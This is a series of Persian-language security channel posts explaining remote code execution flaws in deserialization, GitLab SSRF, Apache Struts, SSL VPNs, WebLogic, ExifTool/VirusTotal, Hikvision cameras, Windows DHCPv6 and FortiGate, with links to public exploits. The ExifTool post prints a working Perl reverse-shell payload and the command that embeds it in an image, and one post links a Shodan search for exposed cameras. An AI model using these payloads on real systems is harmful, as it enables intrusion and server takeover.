#Deserialization #RCE
توابع Serialize در زبان هایی مانند PHP و JAVA و غیره از سال 2017 به اینور بستری برای رخداد حملات Code Execution در سمت Server شدند, و این مدل از آسیب پذیری ها همچنان پتانسیل بسیار بالایی در رخداد حملات سطح بالا رو دارا هستند,

در نتیجه در پلتفرم هایی که نیاز به انتقال مثلا یک ساختار به دیتابیس هستند, یا نیاز داریم تا در API تعریف شده یک برنامه, Object رو انتقال بدیم از توابع Serialize و Unserialize استفاده میکنیم, اما آیا هکرها قادر به تزریق مثلا یک کد به پارامتر های ساختارهای Serialize شده هستند؟ سابقه این نوع حملات نشون داده بله هستند...

https://www.ambionics.io/blog/drupal8-rce
https://www.exploit-db.com/exploits/46510
@Unk9vvN
#Host_Header #Injection on #RCE
تکنیک های زنجیروار برای پیاده سازی یک Remote Code Execution بر بستر فریمورک ها بسیار متفاوت و نیاز به آزمایشات بسیاری دارد, از این رو در آسیب پذیری هایی مانند #Host_Header_Injection همونطور که در تصویر پست مشاهده میکنید, هکر امکان این رو پیدا میکنه تا با فراخوانی curl یک Request به وبسرور خود زده و پایلود RCE خودش رو بر بستر فریمورک فراخوانی و اجرا کنه,

پایلود Advance های این آسیب پذیری بسیار محرک برای پیاده سازی حملات RCE میباشد, پیشنهاد میکنم تحقیقاتی در حوزه انجام بدید ...

https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
@Unk9vvN
#RCE on #SSRF
نمونه ای از پیاده سازی Remote Code Execution بر بستر آسیب پذیری #SSRF که منجر به دسترسی Shell بر پایه ابزار #NC شده است,

از نکات جالب این پایلود میشود به اولین نکته یعنی اشاره پارامتر import_url به پورت درحال گوش دادن هکر اشاره کرد که به واسطه سرویس git انجام میگیره, این پارامتر import_url در برنامه Gitlab دارای آسیب پذیری #SSRF بوده و اولین قدم سوءاستفاده رو هکر برداشته,

اما مورد دوم که اصل قضیه هستش اینه که هکر با استفاده از resque و queue خود برنامه Gitlab اقدام به تعریف یک class کرده و در ساختار Json Base اون پارامتر args رو معادل class_eval برای اجرای مستقیم کد خودش قرار داده , و باز در ادامه مقدار setsid python... خودش رو در ورودی تابع open قرار داده که اول تابع مقداری بصورت پیشفرض برای Pars شده تعریف نشده در نتیجه هکر با یه Pipe اشاره به کد خودش میکنه, و بعد از اجرای nc.py با آی پی و پورت هکر تابع رو read میکنه و با استفاده از system_hook_push تعریف شده در gitlab پروسس خودش رو به اجرا در میاره ,

لازم به ذکر که بگم استفاده از تعریف queues و resque در URI آسیب پذیر محیا بوده...

@Unk9vvN
#Apache Struts #RCE #CVE-2017-5638
در بسیاری از تست های بلک باکس محصولات وب بیس یک نقطه ضعف خود نمایی میکند, آن نقطه ضعف عدم پیلود ریزی پیشرفته بصورت هوشمند است, یعنی معمولا برای یک #RCE ما از پیلودهای پیشفرض استفاده میکنیم برای مثال بر روی آسیب پذیری که پردازش Content-Type رخ داده پیلود مورد نظر اول مقدار multipart/form-data ارسال میکنه تا به محل پردازشی این نوع داده برسه , در مرحله بعد یک متغیر با نام dm ساخته و بواسطه اون فراخوانی میشه

@ofnl.OgnlContext@DEFAULT_MEMBER_ACCESS

در این قسمت با استفاده از فریمورک OGNL در پلتفرم Struts 2 یک دسترسی کاربر شرط شده که اگر بود یک Context ایجاد شده و بواسطه اون متغیری با نام ognlUtil پروسه initial کردن خود رو پش برده تا به پارامتر cmd رسیده و دستور مورد نظر اینجا برای پارس شدن ارسال خواهد شد,

در ادامه پیلود با استفاده از

@java.lang.System@getProperty.(os.name)

اقدام به تشخیص سیستم عامل میکنه و طبق Result که دریافت میکنه میاد مشخص کنه که کدام یک از Syntax خط فرمان رو اجرا خواهد کرد,

https://commons.apache.org/proper/commons-ognl/
@Unk9vvN
#Attacking_SSL_VPN_1 with #APT_39
در این پست بصورت متخصر در خصوص آسیب پذیری های سرویس دهنده های VPNs صحبت خواهیم کرد و چگونگی بستر شدن این آسیب پذیری ها برای پیاده سازی حمله سایبری منتسب به گروه ایرانی Fox Kitten که به دست کمپانی ClearSky گزارش شد,

در سال ۲۰۱۹ محققی با نام مستعار Orange Tsai در وبلاگ خودش اعلام کرد که بر روی سرویس دهنده های VPN در قسمت پردازش SSL آسیب پذیری های متعددی وجود داره که برخی از این آسیب پذیری ها منجر به #RCE و یا خواند فایل خواهد شد, اما چندی بعد در کنفرانس سالانه BlackHat 2019 مقاله ای رو ارائه داد که در این ارائه بصورت کاملتری پروسه Exploit کردن این سرویس هارو ارائه داد,

به گفته ایشون Fortinet و Pluse Secure و Palo Alto دارای آسیب پذیری هستند که خارج از پروسه Auth اکسپلویت شدن, بالای 50.000 در سرویس Pulse Secure و بالای 480.000 دیوایس در سرویس دهنده Fortigate دارای این آسیب پذیری ها هستند, سه کانسپت هم از این آسیب پذیرند Release شده که با ذکر CVE اونها لینک میکنم براتون,

CVE-2018-13379
CVE-2019-11510
CVE-2019-1579

Reference Blog Part 1
Reference Blog Part 2
@Unk9vvN
#Unauthenticated #Weblogic #RCE
چندین ساله که سرویس های Weblogic در پلتفرم های مختلف منجر به حملات RCE میشه که حاصل آسیب پذیری های مختلفی هستند، از این روی کشف آسیب پذیری بصورت WhiteBox در این سرویس ها بسیار موضوعیت داشته و هر ساله یک یا دو مورد آسیب پذیری سطح Critical عمومی میشود،

در تصویر پست بواسطه یک Request با روش POST به Endpoint مربوطه در سرویس Weblogic زده شده که نشون میده هکر مستقیما با استفاده از کلاس java.beans.XMLDecoder توانسته یک Initialize برای رسیدن به ProcessBuilder پیاده سازی کرده و با یک html encoding دستور ورودی به اکسپلویت رو در command_filtered قرار داده و بصورت void روش start رو فراخوانی کرده و RCE اتفاق می افته به همین راحتی،

دوستان از بحث Weblogic Pentest غافل نباشید چرا که بستر خوبی برای کشف bug برای bug bounty خواهد بود...

https://github.com/c0mmand3rOpSec/CVE-2017-10271
https://github.com/ZO1RO/CVE-2019-2890
@Unk9vvN
#CVE-2021-22204 #VirusTotal #RCE
مثل اینکه سرویس آنلاین VirusTotal از ابزار Exiftool استفاده میکرده که برای این ابزار، در خصوص پارس فایل فرمت DjVu یک آسیب پذیری RCE با شناسه CVE-2021-22204 ثبت شده بوده که بدلیل بروز رسانی نکردن ابزار، بر روی سرور VirusTotal این وبسایت مورد نفوذ قرار گرفته است.

(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

کاری که فایل بارگزاری شده انجام میدهد این است که ما یک تگ جدید روی فایل با نام HasselbladExif و بایت های 0xc51b بنویسیم تا آن را در فایل جدید خود شناسایی کنیم. سپس میتوانیم آن را در داخل هر فایلی قرار دهیم. در نهایت فایل آماده djvu, را با فایل فرمت دیگری مثل JPEG ترکیب میکنیم که اینبار بواسطه Exiftool انجام میشه.

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

https://www.cysrc.com/blog/virus-total-blog/
@Unk9vvN
#Hikvision IP #Camera #RCE Exploit
توجه به تست نفوذ Internet of Things برای شرکت های تولید کننده محصولات دوربین مداربسته، در آینده تبدیل به یک چالش جدی خواهد شد، چه در ایران چه در کشور های دیگر.

چرا که ماهیت این محصولات نظارت میدانی بوده که در مراجع حساس، امنیت آنها بشدت موضوعیت خواهد داشت، همچنین پر تعداد بودن این دستگاه ها و نیاز به آنلاین بودنشان موضوعی هست نا گریز که در صورت هک شدن و از کار انداختن سرویس، میتواند نارضایتی بسیاری در مشتریان شرکت های سرویس دهنده این محصولات به همراه داشته باشد.

از این روی توجه به خدمات تست نفوذ وب و اینترنت اشیاء و استفاده از روش شناسی هایی مانند #CTI یک الزامیست که فعالین حوزه دوربین میبایست به آن توجه کافی رو داشته باشند...


https://www.shodan.io/search?query=product%3A%22Hikvision+IP+Camera%22


https://www.exploit-db.com/exploits/50441
@Unk9vvN
#Windows #DHCPv6 Server #RCE
یک آسیب پذیری با شناسه CVE-2023-28231 ثبت شده است که از درجه حساسیت 9.8 برخوردار بوده، که بر روی سرویس DHCPv6 ویندوز رخ داده است.

این آسیب پذیری از نوع Heap-Based Buffer Overflow بوده و از راه دور قابلیت Trigger کردن داشته است. پروتکل DHCP برای مدیریت خودکار در خصوص تخصیص آدرس های IP در یک شبکه است.

در فرایند تخصص نوع آدرس IPv6 بر روی Port های 546 و 547، یک پردازش در خصوص پیام های Relay-Forward وجود داشته است که توسط تابع ProcessRelayForwardMessage در dhcpssvc.dll پردازش میشود.

این تابع یک بافر در Heap را با اندازه 1664 بایت، مقدار دهی اولیه میکند که آرایه 32 از ساختمان 52 بایت برای هر پیام Relay-forward تو در تو خواهد بود.

حال، هیچ اعتبارسنجی برای اطمینان از اینکه شمارنده از حداکثر تعداد مورد انتظار، 32 تجاوز نکند، انجام نمیشود. بنابراین اگر بیش از 32 پیام تو در تو در یک پیام Relay-forward گنجانده شود، تابع در یک افست مینویسد و از اندازه بافر تخصیص داده شده فراتر میرود که منجر به سرریز بافر میشود.

@Unk9vvN
#Frotigate #RCE #CVE-2024-21762
یکی از محصولات شرکت Fortinet که تولید کننده محصولات امنیت سایبری است، با نام FortiGate SSL VPN دارای یک آسیب پذیری باینری بوده که امکان اجرای کد از راه دور را میدهد.

نوع آسیب پذیری out-of-bounds write است به معنی نوشتن خارج از فرایند اجرای اصلی برنامه، که پیش از احراز امکان رخداد دارد.

مشکل در توابع Parser پروتکل HTTP است که بواسطه دریافت نوع داده مخرب، فرایند تخریب حافظه اتفاق می افتد، این نوع داده مخرب در Header با نام Chunked است که یک Transfer Encoding محسوب میشود، در توابع پارسر پروتکل.

یک حلقه while وجود دارد که در صورت تایید شرط مبنی بر کوچکتر بودن مقدار iVar3 از 1 ، param_1 مقدار دهی میشود و در مرحله بعد مقدار در تابع FUN_01707e10__ap_getline فراخوانی خواهد شد.

در انتهای مقدار Header کاراکتر های 0x0d و 0x0a را write میکند تا کاراکتر های CRLF را در لایه نرم افزار اعمال کند، اما با قرار دادن مقدار 0 برای طول کاراکتر chunked ، یک حلقه while اجرا میشود که مقدار param_1 را + 1 کرده و نهایتا در bVar2 میریزد.

@Unk9vvN